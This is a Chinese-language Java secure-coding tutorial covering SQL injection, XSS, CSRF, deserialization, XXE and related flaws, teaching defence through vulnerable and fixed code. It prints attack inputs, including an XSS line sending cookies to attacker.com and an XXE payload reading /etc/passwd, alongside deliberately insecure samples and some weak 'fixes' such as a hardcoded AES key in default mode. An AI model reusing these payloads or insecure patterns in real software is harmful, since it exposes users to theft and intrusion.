Java安全编程：防御常见Web漏洞的实用策略与代码实现

引言

随着互联网的快速发展，Web应用安全问题日益突出。作为企业级应用开发的主流语言之一，Java在Web开发领域占据重要地位。然而，即使是使用Java这样相对安全的语言，如果开发者不遵循安全编程实践，应用程序仍然容易受到各种攻击。

本文将详细介绍Java Web应用中常见的安全漏洞，并提供实用的防御策略和代码实现。通过学习这些安全编程技术，开发者可以构建更加安全可靠的Java Web应用。

SQL注入攻击

漏洞描述

SQL注入是最常见且危害极大的Web应用安全漏洞之一。攻击者通过在用户输入中插入恶意SQL代码，使应用程序执行非预期的数据库操作，从而获取、修改或删除敏感数据。

易受攻击的代码示例

// 不安全的SQL查询示例
public User findUserByUsername(String username) {
    String sql = "SELECT * FROM users WHERE username = '" + username + "'";
    try (Statement stmt = connection.createStatement();
         ResultSet rs = stmt.executeQuery(sql)) {
        if (rs.next()) {
            return new User(rs.getInt("id"), rs.getString("username"), rs.getString("email"));
        }
    } catch (SQLException e) {
        e.printStackTrace();
    }
    return null;
}

如果攻击者输入 admin' OR '1'='1，实际执行的SQL将变为：

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

这将返回所有用户记录，而不仅仅是admin用户的记录。

防御策略

1. 使用参数化查询（预编译语句）

public User findUserByUsername(String username) {
    String sql = "SELECT * FROM users WHERE username = ?";
    try (PreparedStatement pstmt = connection.prepareStatement(sql)) {
        pstmt.setString(1, username);
        try (ResultSet rs = pstmt.executeQuery()) {
            if (rs.next()) {
                return new User(rs.getInt("id"), rs.getString("username"), rs.getString("email"));
            }
        }
    } catch (SQLException e) {
        e.printStackTrace();
    }
    return null;
}

2. 使用ORM框架

// 使用JPA/Hibernate
@Repository
public class UserRepository {
    @PersistenceContext
    private EntityManager entityManager;
    
    public User findUserByUsername(String username) {
        TypedQuery<User> query = entityManager.createQuery(
            "SELECT u FROM User u WHERE u.username = :username", User.class);
        query.setParameter("username", username);
        try {
            return query.getSingleResult();
        } catch (NoResultException e) {
            return null;
        }
    }
}

3. 输入验证

public User findUserByUsername(String username) {
    // 验证输入是否符合预期格式
    if (username == null || !username.matches("[a-zA-Z0-9_]{3,20}")) {
        throw new IllegalArgumentException("无效的用户名格式");
    }
    
    // 继续使用参数化查询
    String sql = "SELECT * FROM users WHERE username = ?";
    // ...其余代码与前面相同
}

4. 最小权限原则

// 为不同操作使用不同的数据库用户
public class DatabaseConnectionManager {
    public static Connection getReadOnlyConnection() throws SQLException {
        // 返回只有读权限的数据库连接
        return DriverManager.getConnection(DB_URL, READ_ONLY_USER, READ_ONLY_PASSWORD);
    }
    
    public static Connection getWriteConnection() throws SQLException {
        // 返回有写权限的数据库连接
        return DriverManager.getConnection(DB_URL, WRITE_USER, WRITE_PASSWORD);
    }
}

跨站脚本攻击(XSS)

漏洞描述

跨站脚本(XSS)攻击是一种注入攻击，攻击者通过在Web页面中注入恶意客户端代码，当其他用户浏览该页面时，这些恶意代码会在用户的浏览器中执行，从而窃取用户信息、会话令牌或执行其他恶意操作。

易受攻击的代码示例

// JSP页面中的不安全输出
<%
String userInput = request.getParameter("message");
%>
<div>用户留言: <%= userInput %></div>

如果攻击者提交如下输入：

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

当其他用户查看包含此留言的页面时，他们的cookie将被发送到攻击者的服务器。

防御策略

1. 输出编码

// 在JSP页面中使用JSTL的escapeXml函数
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<div>用户留言: <c:out value="${param.message}" /></div>

// 或在Java代码中使用
import org.apache.commons.text.StringEscapeUtils;

String safeUserInput = StringEscapeUtils.escapeHtml4(userInput);
model.addAttribute("message", safeUserInput);

2. 使用安全框架的输出编码功能

// Spring MVC Thymeleaf模板
<div th:text="${message}">用户留言将显示在这里</div>

// 或使用Spring的HtmlUtils
import org.springframework.web.util.HtmlUtils;

String safeUserInput = HtmlUtils.htmlEscape(userInput);

3. 内容安全策略(CSP)

// 在Java Servlet中设置CSP头
@WebServlet("/secure")
public class SecureServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setHeader("Content-Security-Policy", 
                          "default-src 'self'; script-src 'self' https://trusted-cdn.com");
        // 其余处理逻辑...
    }
}

4. 使用安全的HTML解析库

// 使用jsoup安全清理HTML
import org.jsoup.Jsoup;
import org.jsoup.safety.Safelist;

String cleanHtml = Jsoup.clean(userInput, Safelist.basic());

跨站请求伪造(CSRF)

漏洞描述

跨站请求伪造(CSRF)是一种攻击，攻击者诱导已认证用户执行非本意的操作，例如更改账户详细信息、提交表单或进行资金转账等。CSRF利用的是网站对用户浏览器的信任，而非用户对网站的信任。

易受攻击的代码示例

// 易受CSRF攻击的转账功能
@PostMapping("/transfer")
public String transferMoney(HttpServletRequest request, 
                          @RequestParam("to") String recipient,
                          @RequestParam("amount") BigDecimal amount) {
    User user = (User) request.getSession().getAttribute("user");
    accountService.transfer(user.getAccountId(), recipient, amount);
    return "redirect:/account";
}

攻击者可以创建一个包含自动提交表单的恶意网站：

<html>
  <body onload="document.getElementById('csrf-form').submit()">
    <form id="csrf-form" action="https://bank.example.com/transfer" method="POST">
      <input type="hidden" name="to" value="attacker-account" />
      <input type="hidden" name="amount" value="1000.00" />
    </form>
  </body>
</html>

当受害者访问此恶意网站时，表单会自动提交，利用受害者的会话执行未授权的转账。

防御策略

1. 使用CSRF令牌

// Spring Security自动生成和验证CSRF令牌
@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            .and()
            // 其他安全配置...
    }
}

// 在表单中包含CSRF令牌
<form action="/transfer" method="post">
    <input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}"/>
    <!-- 其他表单字段 -->
</form>

2. 同源检查

@PostMapping("/transfer")
public String transferMoney(HttpServletRequest request, 
                          @RequestParam("to") String recipient,
                          @RequestParam("amount") BigDecimal amount) {
    // 检查Referer头
    String referer = request.getHeader("Referer");
    if (referer == null || !referer.startsWith("https://bank.example.com/")) {
        throw new SecurityException("可能的CSRF攻击");
    }
    
    User user = (User) request.getSession().getAttribute("user");
    accountService.transfer(user.getAccountId(), recipient, amount);
    return "redirect:/account";
}

3. SameSite Cookie属性

// 在Servlet中设置带有SameSite属性的Cookie
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 认证逻辑...
        
        // 设置带有SameSite属性的会话Cookie
        Cookie sessionCookie = new Cookie("JSESSIONID", request.getSession().getId());
        sessionCookie.setPath("/");
        sessionCookie.setHttpOnly(true);
        sessionCookie.setSecure(true); // 仅通过HTTPS发送
        response.setHeader("Set-Cookie", sessionCookie.getName() + "=" + sessionCookie.getValue() 
                         + "; Path=" + sessionCookie.getPath() 
                         + "; HttpOnly; Secure; SameSite=Strict");
        
        response.sendRedirect("/dashboard");
    }
}

4. 双重提交Cookie模式

// 在表单生成时创建令牌
@GetMapping("/transfer-form")
public String showTransferForm(HttpServletRequest request, Model model) {
    String csrfToken = UUID.randomUUID().toString();
    Cookie cookie = new Cookie("CSRF-TOKEN", csrfToken);
    cookie.setHttpOnly(true);
    cookie.setSecure(true);
    response.addCookie(cookie);
    
    model.addAttribute("csrfToken", csrfToken);
    return "transfer-form";
}

// 在表单提交时验证令牌
@PostMapping("/transfer")
public String transferMoney(HttpServletRequest request, 
                          @RequestParam("csrf-token") String formToken,
                          @RequestParam("to") String recipient,
                          @RequestParam("amount") BigDecimal amount) {
    // 从Cookie中获取令牌
    String cookieToken = null;
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie cookie : cookies) {
            if ("CSRF-TOKEN".equals(cookie.getName())) {
                cookieToken = cookie.getValue();
                break;
            }
        }
    }
    
    // 验证令牌
    if (cookieToken == null || !cookieToken.equals(formToken)) {
        throw new SecurityException("CSRF令牌验证失败");
    }
    
    // 处理转账...
    return "redirect:/account";
}

不安全的反序列化

漏洞描述

不安全的反序列化漏洞发生在应用程序将不受信任的数据反序列化为对象时。攻击者可以操纵序列化对象，从而在反序列化过程中执行任意代码，导致远程代码执行、权限提升或拒绝服务等严重后果。

易受攻击的代码示例

// 不安全的对象反序列化
public User deserializeUser(String serializedData) {
    try {
        byte[] data = Base64.getDecoder().decode(serializedData);
        ByteArrayInputStream bis = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bis);
        return (User) ois.readObject(); // 危险的反序列化
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

如果User类实现了Serializable接口，并且包含可被利用的方法（如在readObject中执行危险操作），攻击者可以构造恶意的序列化数据，在反序列化过程中执行任意代码。

防御策略

1. 使用安全的序列化替代方案

// 使用JSON进行序列化/反序列化
import com.fasterxml.jackson.databind.ObjectMapper;

public class UserService {
    private final ObjectMapper objectMapper = new ObjectMapper();
    
    public String serializeUser(User user) throws JsonProcessingException {
        return objectMapper.writeValueAsString(user);
    }
    
    public User deserializeUser(String json) throws JsonProcessingException {
        return objectMapper.readValue(json, User.class);
    }
}

2. 实现白名单验证

// 使用自定义ObjectInputFilter进行类型白名单验证
public User deserializeUser(String serializedData) {
    try {
        byte[] data = Base64.getDecoder().decode(serializedData);
        ByteArrayInputStream bis = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bis) {
            @Override
            protected void enableResolveObject(boolean enable) throws SecurityException {
                super.enableResolveObject(enable);
            }
        };
        
        // 设置过滤器（Java 9+）
        ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.example.model.*;!*");
        ois.setObjectInputFilter(filter);
        
        return (User) ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

3. 使用签名验证序列化数据

// 使用HMAC签名验证序列化数据的完整性
public class SecureSerializer {
    private static final String SECRET_KEY = "your-secret-key";
    
    public static String serializeWithSignature(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        
        byte[] data = baos.toByteArray();
        String serialized = Base64.getEncoder().encodeToString(data);
        
        // 计算签名
        Mac mac = Mac.getInstance("HmacSHA256");
        SecretKeySpec secretKey = new SecretKeySpec(SECRET_KEY.getBytes(), "HmacSHA256");
        mac.init(secretKey);
        String signature = Base64.getEncoder().encodeToString(mac.doFinal(data));
        
        return serialized + "|" + signature;
    }
    
    public static Object deserializeWithSignature(String data) throws Exception {
        String[] parts = data.split("\\|");
        if (parts.length != 2) {
            throw new SecurityException("无效的序列化数据格式");
        }
        
        String serialized = parts[0];
        String signature = parts[1];
        
        byte[] objBytes = Base64.getDecoder().decode(serialized);
        
        // 验证签名
        Mac mac = Mac.getInstance("HmacSHA256");
        SecretKeySpec secretKey = new SecretKeySpec(SECRET_KEY.getBytes(), "HmacSHA256");
        mac.init(secretKey);
        String calculatedSignature = Base64.getEncoder().encodeToString(mac.doFinal(objBytes));
        
        if (!calculatedSignature.equals(signature)) {
            throw new SecurityException("签名验证失败，可能的数据篡改");
        }
        
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(objBytes));
        return ois.readObject();
    }
}

4. 实现自定义readObject方法

public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    
    private String username;
    private String email;
    
    // 自定义反序列化逻辑
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        // 调用默认的反序列化
        in.defaultReadObject();
        
        // 验证反序列化后的数据
        if (username == null || !username.matches("[a-zA-Z0-9_]{3,20}")) {
            throw new InvalidObjectException("无效的用户名");
        }
        
        if (email == null || !email.matches("[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}")) {
            throw new InvalidObjectException("无效的电子邮件");
        }
    }
}

敏感数据暴露

漏洞描述

敏感数据暴露发生在应用程序未能充分保护敏感信息（如密码、信用卡号、个人身份信息等）时。这可能是由于使用弱加密算法、不安全的数据传输或不当的数据存储导致的。

易受攻击的代码示例

// 不安全的密码存储
public void registerUser(String username, String password, String email) {
    String sql = "INSERT INTO users (username, password, email) VALUES (?, ?, ?)";
    try (PreparedStatement pstmt = connection.prepareStatement(sql)) {
        pstmt.setString(1, username);
        pstmt.setString(2, password); // 明文密码存储
        pstmt.setString(3, email);
        pstmt.executeUpdate();
    } catch (SQLException e) {
        e.printStackTrace();
    }
}

// 不安全的敏感数据传输
@GetMapping("/user/{id}")
public User getUserDetails(@PathVariable Long id) {
    User user = userRepository.findById(id).orElseThrow();
    return user; // 可能包含敏感信息如密码哈希、个人信息等
}

防御策略

1. 安全的密码存储

// 使用BCrypt进行密码哈希
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

public class UserService {
    private final BCryptPasswordEncoder passwordEncoder = new BCryptPasswordEncoder();
    
    public void registerUser(String username, String password, String email) {
        String hashedPassword = passwordEncoder.encode(password);
        
        String sql = "INSERT INTO users (username, password, email) VALUES (?, ?, ?)";
        try (PreparedStatement pstmt = connection.prepareStatement(sql)) {
            pstmt.setString(1, username);
            pstmt.setString(2, hashedPassword); // 存储哈希后的密码
            pstmt.setString(3, email);
            pstmt.executeUpdate();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
    
    public boolean verifyPassword(String rawPassword, String hashedPassword) {
        return passwordEncoder.matches(rawPassword, hashedPassword);
    }
}

2. 数据加密

// 使用AES加密敏感数据
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class EncryptionUtil {
    private static final String SECRET_KEY = "your-256-bit-key"; // 在实际应用中应从安全的配置源获取
    private static final String ALGORITHM = "AES";
    
    public static String encrypt(String data) throws Exception {
        SecretKeySpec keySpec = new SecretKeySpec(SECRET_KEY.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, keySpec);
        byte[] encryptedData = cipher.doFinal(data.getBytes());
        return Base64.getEncoder().encodeToString(encryptedData);
    }
    
    public static String decrypt(String encryptedData) throws Exception {
        SecretKeySpec keySpec = new SecretKeySpec(SECRET_KEY.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, keySpec);
        byte[] decodedData = Base64.getDecoder().decode(encryptedData);
        byte[] decryptedData = cipher.doFinal(decodedData);
        return new String(decryptedData);
    }
}

3. 数据脱敏

// 在API响应中脱敏敏感数据
@GetMapping("/user/{id}")
public UserDTO getUserDetails(@PathVariable Long id) {
    User user = userRepository.findById(id).orElseThrow();
    
    // 转换为DTO，排除敏感字段
    UserDTO userDTO = new UserDTO();
    userDTO.setId(user.getId());
    userDTO.setUsername(user.getUsername());
    userDTO.setEmail(maskEmail(user.getEmail()));
    // 不包含密码哈希和其他敏感信息
    
    return userDTO;
}

private String maskEmail(String email) {
    if (email == null || email.length() < 5 || !email.contains("@")) {
        return email;
    }
    
    int atIndex = email.indexOf('@');
    String name = email.substring(0, atIndex);
    String domain = email.substring(atIndex);
    
    if (name.length() <= 2) {
        return name + domain;
    }
    
    return name.substring(0, 2) + "***" + domain;
}

4. 传输层安全

// 在Spring Boot中配置HTTPS
// application.properties
// server.ssl.key-store=classpath:keystore.p12
// server.ssl.key-store-password=your-password
// server.ssl.key-store-type=PKCS12
// server.ssl.key-alias=tomcat
// server.port=8443

// 强制HTTPS重定向
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .requiresChannel()
            .anyRequest()
            .requiresSecure();
        // 其他安全配置...
    }
}

失效的访问控制

漏洞描述

失效的访问控制漏洞发生在应用程序未能正确限制用户对功能或数据的访问时。这可能导致未授权用户访问敏感数据、执行管理操作或以其他方式绕过安全限制。

易受攻击的代码示例

// 缺少授权检查的API端点
@GetMapping("/api/users/{id}")
public User getUserById(@PathVariable Long id) {
    return userRepository.findById(id).orElseThrow();
    // 没有检查当前用户是否有权限访问请求的用户信息
}

// 仅在前端实现访问控制
// 前端代码隐藏了管理员按钮，但后端API没有保护
@GetMapping("/api/admin/deleteUser/{id}")
public void deleteUser(@PathVariable Long id) {
    userRepository.deleteById(id);
    // 没有验证调用者是否为管理员
}

防御策略

1. 基于角色的访问控制(RBAC)

// 使用Spring Security实现RBAC
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/api/public/**").permitAll()
                .antMatchers("/api/user/**").hasRole("USER")
                .antMatchers("/api/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            .and()
            .formLogin()
            .and()
            .csrf().disable(); // 仅用于示例，生产环境应启用CSRF保护
    }
}

// 在控制器方法上使用注解
@RestController
@RequestMapping("/api")
public class UserController {
    @GetMapping("/public/info")
    public String publicInfo() {
        return "Public information";
    }
    
    @PreAuthorize("hasRole('USER')")
    @GetMapping("/user/{id}")
    public User getUserInfo(@PathVariable Long id, Authentication authentication) {
        // 获取当前认证用户
        UserDetails userDetails = (UserDetails) authentication.getPrincipal();
        String username = userDetails.getUsername();
        
        // 确保用户只能访问自己的信息
        User requestedUser = userRepository.findById(id).orElseThrow();
        if (!requestedUser.getUsername().equals(username) && 
            !authentication.getAuthorities().contains(new SimpleGrantedAuthority("ROLE_ADMIN"))) {
            throw new AccessDeniedException("无权访问其他用户的信息");
        }
        
        return requestedUser;
    }
    
    @PreAuthorize("hasRole('ADMIN')")
    @DeleteMapping("/admin/user/{id}")
    public void deleteUser(@PathVariable Long id) {
        userRepository.deleteById(id);
    }
}

2. 方法级安全性

// 启用方法级安全性
@Configuration
@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = true, jsr250Enabled = true)
public class MethodSecurityConfig extends GlobalMethodSecurityConfiguration {
    // 配置...
}

// 在服务层使用安全注解
@Service
public class UserService {
    @PreAuthorize("hasRole('ADMIN')")
    public void deleteUser(Long id) {
        userRepository.deleteById(id);
    }
    
    @PostAuthorize("returnObject.username == authentication.name or hasRole('ADMIN')")
    public User findById(Long id) {
        return userRepository.findById(id).orElseThrow();
    }
    
    @Secured({"ROLE_USER", "ROLE_ADMIN"})
    public void updateUserProfile(User user) {
        // 更新用户资料
    }
    
    @RolesAllowed({"ROLE_ADMIN"})
    public List<User> findAllUsers() {
        return userRepository.findAll();
    }
}

3. 实现自定义权限评估器

// 自定义权限评估器
@Component
public class CustomPermissionEvaluator implements PermissionEvaluator {
    @Autowired
    private UserRepository userRepository;
    
    @Override
    public boolean hasPermission(Authentication authentication, Object targetDomainObject, Object permission) {
        if (authentication == null || targetDomainObject == null || !(permission instanceof String)) {
            return false;
        }
        
        String username = authentication.getName();
        
        if (targetDomainObject instanceof User) {
            User user = (User) targetDomainObject;
            
            // 检查是否是用户自己的资源
            if (user.getUsername().equals(username)) {
                return true;
            }
            
            // 检查是否有特定权限
            if ("ADMIN".equals(permission)) {
                return authentication.getAuthorities().stream()
                    .anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN"));
            }
        }
        
        return false;
    }
    
    @Override
    public boolean hasPermission(Authentication authentication, Serializable targetId, String targetType, Object permission) {
        if (authentication == null || targetId == null || targetType == null || !(permission instanceof String)) {
            return false;
        }
        
        if ("user".equals(targetType)) {
            User user = userRepository.findById((Long) targetId).orElse(null);
            if (user != null) {
                return hasPermission(authentication, user, permission);
            }
        }
        
        return false;
    }
}

// 在配置中注册权限评估器
@Configuration
@EnableGlobalMethodSecurity(prePostEnabled = true)
public class MethodSecurityConfig extends GlobalMethodSecurityConfiguration {
    @Autowired
    private CustomPermissionEvaluator permissionEvaluator;
    
    @Override
    protected MethodSecurityExpressionHandler createExpressionHandler() {
        DefaultMethodSecurityExpressionHandler expressionHandler = new DefaultMethodSecurityExpressionHandler();
        expressionHandler.setPermissionEvaluator(permissionEvaluator);
        return expressionHandler;
    }
}

// 在方法中使用自定义权限评估
@PreAuthorize("hasPermission(#id, 'user', 'READ') or hasRole('ADMIN')")
public User getUserById(Long id) {
    return userRepository.findById(id).orElseThrow();
}

4. 实现API请求限流

// 使用Spring Cloud Gateway或自定义过滤器实现限流
@Component
public class RateLimitingFilter extends OncePerRequestFilter {
    private final Map<String, TokenBucket> buckets = new ConcurrentHashMap<>();
    
    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
            throws ServletException, IOException {
        String ipAddress = request.getRemoteAddr();
        
        // 获取或创建令牌桶
        TokenBucket bucket = buckets.computeIfAbsent(ipAddress, k -> new TokenBucket(10, 1)); // 10个令牌，每秒补充1个
        
        if (bucket.tryConsume(1)) {
            // 允许请求通过
            filterChain.doFilter(request, response);
        } else {
            // 请求被限流
            response.setStatus(HttpServletResponse.SC_TOO_MANY_REQUESTS);
            response.getWriter().write("请求频率过高，请稍后再试");
        }
    }
    
    // 简单的令牌桶实现
    private static class TokenBucket {
        private final long capacity;
        private final double refillTokensPerSecond;
        private double availableTokens;
        private long lastRefillTimestamp;
        
        public TokenBucket(long capacity, double refillTokensPerSecond) {
            this.capacity = capacity;
            this.refillTokensPerSecond = refillTokensPerSecond;
            this.availableTokens = capacity;
            this.lastRefillTimestamp = System.currentTimeMillis();
        }
        
        synchronized boolean tryConsume(int tokens) {
            refill();
            
            if (availableTokens < tokens) {
                return false;
            }
            
            availableTokens -= tokens;
            return true;
        }
        
        private void refill() {
            long now = System.currentTimeMillis();
            double tokensToAdd = (now - lastRefillTimestamp) / 1000.0 * refillTokensPerSecond;
            
            if (tokensToAdd > 0) {
                availableTokens = Math.min(capacity, availableTokens + tokensToAdd);
                lastRefillTimestamp = now;
            }
        }
    }
}

安全配置错误

漏洞描述

安全配置错误是指由于不安全的默认配置、不完整的临时配置、开放的云存储、错误的HTTP头配置或包含敏感信息的详细错误消息等导致的安全漏洞。这些错误通常为攻击者提供了未经授权访问系统数据或功能的途径。

易受攻击的代码示例

// 生产环境中启用调试模式
// application.properties
// spring.profiles.active=dev
// debug=true
// server.error.include-stacktrace=always

// 返回详细错误信息
@ExceptionHandler(Exception.class)
public ResponseEntity<Object> handleException(Exception ex) {
    Map<String, Object> body = new LinkedHashMap<>();
    body.put("message", ex.getMessage());
    body.put("stackTrace", Arrays.toString(ex.getStackTrace()));
    return new ResponseEntity<>(body, HttpStatus.INTERNAL_SERVER_ERROR);
}

// 硬编码敏感信息
@Configuration
public class DatabaseConfig {
    @Bean
    public DataSource dataSource() {
        return DataSourceBuilder.create()
                .url("jdbc:mysql://localhost:3306/mydb")
                .username("root")
                .password("password123") // 硬编码密码
                .build();
    }
}

防御策略

1. 环境特定配置

// 使用Spring Profiles进行环境特定配置
// application.yml
/*
spring:
  profiles:
    active: prod
    
---
spring:
  config:
    activate:
      on-profile: dev
  datasource:
    url: jdbc:h2:mem:testdb
  jpa:
    show-sql: true
server:
  error:
    include-stacktrace: always
    
---
spring:
  config:
    activate:
      on-profile: prod
  datasource:
    url: jdbc:mysql://localhost:3306/proddb
  jpa:
    show-sql: false
server:
  error:
    include-stacktrace: never
*/

// 在代码中检查当前环境
@Component
public class SecurityChecker {
    private final Environment environment;
    
    public SecurityChecker(Environment environment) {
        this.environment = environment;
        
        // 在生产环境中检查安全配置
        if (environment.matchesProfiles("prod")) {
            validateSecuritySettings();
        }
    }
    
    private void validateSecuritySettings() {
        // 检查关键安全设置
        if (environment.getProperty("server.error.include-stacktrace", "never")
                .equals("always")) {
            throw new IllegalStateException("生产环境不应显示堆栈跟踪");
        }
        
        // 其他安全检查...
    }
}

2. 安全的错误处理

// 自定义全局异常处理
@ControllerAdvice
public class GlobalExceptionHandler {
    private final Environment environment;
    
    public GlobalExceptionHandler(Environment environment) {
        this.environment = environment;
    }
    
    @ExceptionHandler(Exception.class)
    public ResponseEntity<Object> handleException(Exception ex, WebRequest request) {
        Map<String, Object> body = new LinkedHashMap<>();
        
        // 为生产环境提供通用错误消息
        if (environment.matchesProfiles("prod")) {
            body.put("message", "发生内部服务器错误");
            // 记录详细错误信息，但不返回给客户端
            logError(ex);
        } else {
            // 开发环境提供详细错误信息
            body.put("message", ex.getMessage());
            body.put("stackTrace", Arrays.toString(ex.getStackTrace()));
        }
        
        return new ResponseEntity<>(body, HttpStatus.INTERNAL_SERVER_ERROR);
    }
    
    private void logError(Exception ex) {
        // 记录详细错误信息到日志系统
    }
}

3. 安全的配置管理

// 使用外部配置和环境变量
@Configuration
public class DatabaseConfig {
    @Bean
    public DataSource dataSource(
            @Value("${spring.datasource.url}") String url,
            @Value("${spring.datasource.username}") String username,
            @Value("${spring.datasource.password}") String password) {
        return DataSourceBuilder.create()
                .url(url)
                .username(username)
                .password(password)
                .build();
    }
}

// 使用Spring Cloud Config或Vault管理敏感配置
@Configuration
@EnableConfigurationProperties
public class AppConfig {
    @Bean
    public VaultTemplate vaultTemplate(VaultProperties vaultProperties) throws Exception {
        ClientAuthentication clientAuthentication = new TokenAuthentication(vaultProperties.getToken());
        VaultEndpoint endpoint = new VaultEndpoint();
        endpoint.setHost(vaultProperties.getHost());
        endpoint.setPort(vaultProperties.getPort());
        endpoint.setScheme(vaultProperties.getScheme());
        
        return new VaultTemplate(endpoint, clientAuthentication);
    }
}

4. 安全HTTP头配置

// 配置安全HTTP头
@Configuration
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .headers()
                .contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com")
                .and()
                .referrerPolicy(ReferrerPolicyHeaderWriter.ReferrerPolicy.SAME_ORIGIN)
                .and()
                .frameOptions().deny()
                .and()
                .xssProtection().block(true)
                .and()
                .contentTypeOptions();
    }
}

XML外部实体(XXE)攻击

漏洞描述

XML外部实体(XXE)攻击是一种针对解析XML输入的应用程序的攻击，当应用程序接受XML直接输入或XML上传，特别是当XML处理器配置不当时，可能导致敏感数据泄露、服务器端请求伪造、拒绝服务等安全问题。

易受攻击的代码示例

// 不安全的XML解析
public String parseXml(String xmlContent) {
    try {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document document = builder.parse(new InputSource(new StringReader(xmlContent)));
        
        // 处理XML文档...
        return document.getDocumentElement().getTextContent();
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

攻击者可以提交包含外部实体的恶意XML：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
  <password>password123</password>
</user>

防御策略

1. 禁用外部实体和DTD处理

// 安全的XML解析配置
public String parseXmlSafely(String xmlContent) {
    try {
        // 创建安全的DocumentBuilderFactory
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        
        // 禁用外部实体处理
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);
        
        DocumentBuilder builder = factory.newDocumentBuilder();
        Document document = builder.parse(new InputSource(new StringReader(xmlContent)));
        
        // 处理XML文档...
        return document.getDocumentElement().getTextContent();
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

2. 使用安全的XML解析器

// 使用JAXB进行安全的XML处理
@XmlRootElement(name = "user")
public class User {
    private String name;
    private String password;
    
    @XmlElement
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
    
    @XmlElement
    public String getPassword() { return password; }
    public void setPassword(String password) { this.password = password; }
}

public User parseXmlWithJaxb(String xmlContent) {
    try {
        // 创建安全的XML上下文
        XMLInputFactory xif = XMLInputFactory.newFactory();
        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        
        // 使用安全的XML流读取器
        XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xmlContent));
        
        // 使用JAXB解析
        JAXBContext jaxbContext = JAXBContext.newInstance(User.class);
        Unmarshaller unmarshaller = jaxbContext.createUnmarshaller();
        return (User) unmarshaller.unmarshal(xsr);
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

3. 使用JSON替代XML

// 使用Jackson处理JSON
import com.fasterxml.jackson.databind.ObjectMapper;

public User parseJson(String jsonContent) {
    try {
        ObjectMapper mapper = new ObjectMapper();
        return mapper.readValue(jsonContent, User.class);
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

4. 输入验证和白名单

// 在解析XML前进行输入验证
public String parseXmlWithValidation(String xmlContent) {
    // 检查是否包含可疑的DOCTYPE或ENTITY声明
    if (xmlContent.contains("<!DOCTYPE") || xmlContent.contains("<!ENTITY")) {
        throw new SecurityException("XML包含潜在的XXE攻击");
    }
    
    // 继续使用安全的XML解析...
    return parseXmlSafely(xmlContent);
}